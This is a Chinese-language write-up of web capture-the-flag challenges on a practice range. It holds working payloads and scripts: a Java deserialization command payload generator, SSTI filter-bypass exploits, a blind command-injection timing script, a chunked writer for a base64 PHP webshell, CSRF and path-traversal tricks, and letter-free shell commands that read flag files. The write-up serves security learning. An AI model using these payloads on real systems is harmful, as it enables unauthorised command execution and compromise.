某天,突然感到一阵阵空虚,然后伴随一阵眩晕感,我来到了web的沙滩。慢慢的向前走,出来了一道道题目...
赞颂好靶场,免费送了我高级会员
入门-走到了岸边
最简单的PHP-SSRF
给了源码,发现只过滤127.0.0.1
根据题目描述flag在tmp路径下面,可以考虑file协议
修改数据包才可以拿到答案
进去是一个成绩查询系统
提示让查询qiansanyi的成绩
前端禁查询这个人成绩,那我们改数据包直接往后端发不就好了
Flag在返回包里
首页有一个点我刷新,点击之后返回包就是flag
做一个白帽子
这个是一个福利题,我输入经典弱口令admin/123456点进去点击提交漏洞即可
入门弱口令靶场
弱口令爆破
密码就是admin
初级Java反序列化
题目给了jar包,暂时不知道怎么看对应的路由关系
这里重写了readObject方法:
是从post解码并且反序列一个文件
需要构造一个 ExploitPayload 对象,设置 command 字段,然后序列化成字节 → Base64 → 发送。
需要注意传送的得是text/plain base64
用反射的方式生成序列化后的东西
import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class GeneratePayload { public static void main(String[] args) throws Exception { // 在这里修改你要执行的命令 String command = "cat /tmp/flag.txt"; // ←←← 可以改成 id、whoami 等 // 创建 ExploitPayload 对象 Class<?> clazz = Class.forName("com.ctf.readobject_demo.ExploitPayload"); Object payload = clazz.getDeclaredConstructor().newInstance(); // 反射设置 command 字段 Field field = clazz.getDeclaredField("command"); field.setAccessible(true); field.set(payload, command); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (ObjectOutputStream oos = new ObjectOutputStream(baos)) { oos.writeObject(payload); } // 转 Base64 String base64 = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println("=== Payload Base64 ==="); System.out.println(base64); } }SSRF不允许使用File协议了1
可以大写绕过
SSRF-请尝试绕过、SSRF不允许使用File协议了2
file:后加一个空格绕过即可
入门CSRF
页面存在一个给admin留言,怀疑这里存在XSS,可以窃取管理员cookie
页面还存在一个转账功能点
注意看数据包构造,我们想办法把这个作为恶意链接给admin留言试一试
构造恶意payload:<img src="http://xvcunc0.haobachang1.loveli.com.cn:8888/transfer.php?to_user=user&amount=11">
然后就能愉快接受转账了
渐渐往水中走去
sad_bottle
这提供了一个预览文件的功能点
程序这里的代码通过检测解压后的文件绝对路径开头是否变化,拒绝了目录遍历攻击:
这里的路由刚开始猜测是否存在SSRF的功能点,但是发现做了很好的过滤,暂时没找到方法绕过它的攻击
虽然没找到SSRF漏洞,但是还是找到了一个ssti点:
这里的template是bottle库的一个模板点。这里过滤的十分严格(黑名单如下):
一共26个字母,就flag没有被过滤。然后一些特殊符号也被过滤了
现在我们试着生成探测点:{{7*7}}看看是否存在利用点
参考这个
好靶场sad_bottle wp - wenject的小屋
新学到两个绕过思路
1.unicode特殊编码绕过,只针对函数才行,python解释器能识别这样的字符,但是to_lower函数不可以
2./NNN进制编码绕过(因为题目没有过滤数字)
payload就是open.read这样的构造。写一个脚本进行生成payload,然后压缩上传即可
exp:
def trans(a): result='' for i in a: if ord('a')<=ord(i)<=ord('z'): result+=chr(0x1D622+ord(i)-ord('a')) else: result+=i return result def trans_path(a): result='' for i in a: result+=f"\\{ord(i):03o}" return result print( trans("open")+ "('"+ trans_path("/tmp/flag.txt")+ "')."+ trans("read"+"()"))Flask-SSTI
get参数是一个ssti
下策是fenjing一把梭
如果纯手工测试的话,还是要先想办法找到可利用的点
先执行:
"".__class__然后执行
{{"".__class__.__base__}}
这个没怎么过滤,方便我们利用了
执行
"".__class__.__bases__[0].__subclasses__()然后慢慢找就行了。找到可利用的类的顺序
水果忍者
这暴露了敏感接口,直接访问就可以得到flag
欢迎你加入信息安全社团
第一关;看源码得到smx1:FLAG_PART1
然后我们看源码进入第二关
看提示估计是要改cookie
改完之后得到:shetuan:FLAG_PART2
和下一关地址
看了wp才知道这里需要目录扫描了
发现一个配置文件:/nginx.conf
还有robot.txt
sansan4:FLAG_PART4
然后是一个简单的考正则的
第一个意思是多行匹配php,第二个是整个字符串匹配
那也就是说构造一个二行的字符串即可
payload:%0aphp
获得
jiujiu5:FLAG_PART5
qiyue6.php
我们将这个按钮F12取消disabled即可
然后得到
qiyue6:FLAG_PART6
下一关:lihao7.php
这个php是空白页面
抓包看看是不是错过了什么信息,提示说这是一个蚁剑页面
看wp说密码是shell,可能是一个弱口令??
然后拿到shell看flag即可
一些RCE的,只写有点难度的了
命令执行漏洞盲打
因为靶机不出网,无法反弹shell和dnslog外带数据
这里利用sql盲注的思路,利用"sleep"进行猜测,假如爆到正确字符,就进行sleep
请求的数据包是去execute接口
请求体:
{"command":"1"}
以下是python脚本:也可以用burp
import requests import time url = "http://yfagp6f.haobachang1.loveli.com.cn:8888/execute" chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}" flag = "flag{" def single_attack(payload): try: t1 = time.time() requests.post(url, json=payload,timeout=5) t2 = time.time() return t2 - t1 > 1.5 except: return False print("-----running------") while True: for c in chars: test=flag+c cmd = f"127.0.0.1&&grep -q '^{test}' /tmp/flag.txt&&sleep 2" payload = {"command": cmd} if single_attack(payload): flag+=c print(flag) find=True break if flag.endswith("}"): print("find!flag is "+flag) break只允许你输入7个字符,你还能执行你想要的命令吗
这个思路是
1.>后面跟字符是直接创建了这个文件。名称就是后面的字符
2.sh后面跟一个命令(哪怕是txt只要内容是命令)就会被执行
3.ls -t是可以按照时间顺序,新创建的在前面进行输出所有文件
那也就是说 我们可以用这个思路,进行多次写入字符,即可达到攻击效果
写一个脚本发送payload
import requests import time url = "http://c4ayq4x.haobachang2.loveli.com.cn:8888/" chars = r""" >hp >1.p\ >d\>\ >\ -\ >e64\ >bas\ >\|\ >z8+\ >0pO\ >xJ1\ >Wyc\ >1NU\ >9QT\ >oJF\ >YWw\ >GV2\ >AgQ\ >waH\ >PD9\ >o\ \ >ech\ ls -t>0 sh 0 """ def single_attack(payload): print(payload,end="\n") requests.post(url, data=payload,timeout=5) print("-----running------") for i in chars.splitlines(): if not i: continue temp = i payload={"command":temp} single_attack(payload) print("-------over------")然后我们蚁剑连接即可
小小游个泳
哎,这是什么,又一个博客系统
发现一个download的api,怀疑是任意文件下载
首先尝试file:///协议可能出现无限重复URL。后来改为../../../成功!
可以任意文件下载,即可下载flag.txt
哎,这是什么,又一个博客系统2
直接点进去发现上次的任意文件下载好像加密了一下 可惜密钥和iv都给了
经过测试就是AES。相同密钥加密之后再进行base64和URL加密即可:
Sherry Protocol
看到主页的提示,应该是需要将这几页的数字加一块,服务器就会返回一个flag了:
抓包看到的数据返回的是乱码,因此猜测js文件进行了加密操作
因为这是采用了IIFE 闭包模块化,我们调用的时候加上ProtoClient前缀,就跟俗称的类和对象差不多,此外,这里面直接定义了解码和编码请求包的函数,还有一个函数专门用于请求数据,因此我们可以不用那么麻烦写脚本了。考虑是写一些脚本控制台运行
同时这是一个异步函数,因此前面要先加上await
我们看一下返回包,只需要把这个数组的加和一下即可:
由此看来这个题也可以爆破,但是得爆破到猴年马月了。
把这个放在控制台运行即可:
var sum = 0; for (var i = 1; i <= 20; i++) { let numbers = (await ProtoClient.fetchPage(i)).numbers; for (var j = 0; j < 10; j++) { sum += numbers[j]; } } console.log(sum);Vue路由守卫绕过
vue前端搜索api看到下面的:
访问/Dashboard_haobchang123即可拿到flag
哦豁,你不能输入字母了
RCE但是不允许输入字母和数字
参考RCE篇之无数字字母rce | Arsene.Tang
这个是php里面的思路。
这时候我们用$""来执行命令。默认/NNN是八进制。16进制因为有字母x所以不可以
这时候我们需要分割一下:
$'\143\141\164'$IFS$'\057\164\155\160\057\146\154\141\147\056\164\170\164'
不然会整个被当作一个字符串
最终payload:
$'\143\141\164'<$'\057\164\155\160\057\146\154\141\147\056\164\170\164'
数字0的奇迹
提示命令中不允许出现英文字母或数字1-9
那也就是说只能出现0
这里需要介绍一个命令叫做$0,意思是当前的shell
我们配合通配符即可
payload:$0 /???/????.???
只允许你输入5个字符,你还能执行你想要的命令吗
可以参考那个7字符的
无字母无数字2
./脚本 表示“当前目录下执行可执行文件(新进程)”。
. /脚本 表示“在当前 shell 中source /脚本”。因此是 source 的语法。
因此使用?号来代替/tmp/flag.txt 字符
. /???/????.???